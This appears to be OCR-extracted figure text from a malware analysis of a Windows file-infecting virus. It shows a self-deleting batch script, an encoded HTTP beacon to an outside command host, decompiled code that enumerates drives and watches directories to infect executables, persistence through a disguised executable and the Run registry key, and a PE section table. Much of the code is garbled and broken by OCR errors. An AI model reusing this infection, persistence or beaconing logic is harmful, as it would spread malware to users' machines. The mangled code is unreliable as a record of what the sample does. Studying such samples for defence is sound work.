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@echo off

del /f "C:\Users\xxx-win7\Desktop\download.bin"

if exist "C:\Users\xxx-win7\Desktop\download.bin" goto Rept
del /f /ah "C:\Users\xxx-W~1\AppData\Local\Temp\logeDE.tmp.bat"
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GET /bin/read i.php?
al=SE1hOzwiN3pQKiAPFWcq&a2=448a60191f8f5f31cB3166Ffed72bacac&a3=RBsidmgUPjtdGzwdClip
ybAYaMwVjGQOMFgkVIW1jFX1IQH10KjV5aD5ubyhbahlsbHNcAiA9TiBUKFNrDiQ/KFAtHWFoLNnB1Sn1/
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==8ad4=+ HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: greenlabelstud.@@8space.com

Connection: Keep-Alive

Cache-Control: no-cache
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case 3u: // DRIVE_FIXED
if ( !drive_fixed_found_num )
_beginthread((int)thread_infect, @, (int)disk_pathname);
sprintf(&FileName, "\\\\?\\®c:", v@_drive_cur_id + "A");// \\2\D:

while ( FindNextFileA(v3, &FindFileData) )

if ( count > 999 )
break;
if ( FindrFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )

if ( stremp(FindFileData.cFileName, ".") &8& strcmp(FindFileData.cFileName, "..") && index < 1000 )

sprintf(&14 file path, "¥s\\¥s\\*.*", v2_disk _name, FindFileData.cFileName);
v9 = &disk_path_wildcard[26@0 * index];
vle = &vl14 file path;

++index;
do strepy(vis_exe, ".exe");
{ strcpy(vl6_specified_name, "INSTALL");
;1% = *”1ei strepy((char *)&v17 SETUP, “SETUP");
VO = *v1oH+; vid = @;
r char *)&v19 UPDATE, "UPDATE");
while ( vi1 ); fzgcfyg )i ’ )i
¥
}
else
{

sprintf(&v14_file_path, "%¥s\\¥s", v2_disk_name, FindFileData.cFileName);
v8 = infect_pe(&vi4 file path);
if ( v8 == 0xF60 )

_sleep(@x64u);
++count;

}
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01im 00001000 00053000 00000400 00052E00 60000020 .text 680482730857887329
02 00054000 00005000 00053200 00004200 CO0000040 .data 36 2F 010100 00 00 00 00
03rs 00059000 00063000 00057400 00062800 40000040 .rsrc 00 00 00 0O 00 00 00 00 00
04 000BCO00 00004000 000B3C00 00003C00 42000040 .reloc 00 10 00 00 B4 00 00 00 41
05ep [ooocoooo 00001400 000BD800 00001400 EOO00040 .rdat 6C2D01012C 7D61642C
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%APPDATA%\Microsoft\Display\igfxext.exe
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SOFTWARE\Microsoft\Windows
\CurrentVersion\Run
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for ( = ReadDirectoryChangesk( (HANDLE)* , + @x43, ex2000u, 1, 3u, +2, 0, 0);

= ReadDirectoryChangeswW( (HANDLE)* ) + Bx43, @x20e80u, 1, 3u, +2,0,0))
{

[exB43] = (DWORD)( + @x43);// FILE_NOTIFY_INFORMATION
memcpy (&v15, + @x46, [ex45]);// ERlIEEmERM RIS
*(_int Y((char *)&15 + *=(_ Pl f [2115] + 8)) = 5
wsprintfA(&vis, “%5", &v15); . N
sprintf(& s "HsHsT, & , &v16);//) EAMTEMEERES
if ( =(1 3 ( [2115] + 4) == 1 &% is_special_dir(& ) ==1)// EAHVHLENTEEER
{

EnterCriticalSection(&CriticalSection);
= infect_pe(& )i /1 EHEIERHIPES
if ( == @x63 )
{
_sleep(ex64u);
= infect_pe(& 'H
}
= 9,‘
do
{
if ( 1= -2 88 I= -3 && != -20 || !PathFileExistsA(& ))
break;
_sleep(@x12Cu);
= infect_pe(& 'H
if ( == 99 )
_sleep(@x64u);
= infect_pe(& );
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= Uninstall.exd Fhyscal e 111947 571 Uninstall Cifset 733400
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=) Open Burn New folder
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» Computer » Local Disk (C:) » Windows » System32 »

|D_{’| Open Burn MNew folder

MName Date modified Type Size
® | wimserv.exe 11/21/2010 5:29 AM  Application 320 KB
51 win. 7/14/2009 7:20 AM MS-DOS Aoplicati. 7 KB
ds win.com
laces %] win32k.sys 11/21/2010 5:29 AM  System file 2215 KB
%] win32spl.dll 11/21/2010 5:29 AM  Application extens.. 481 KB
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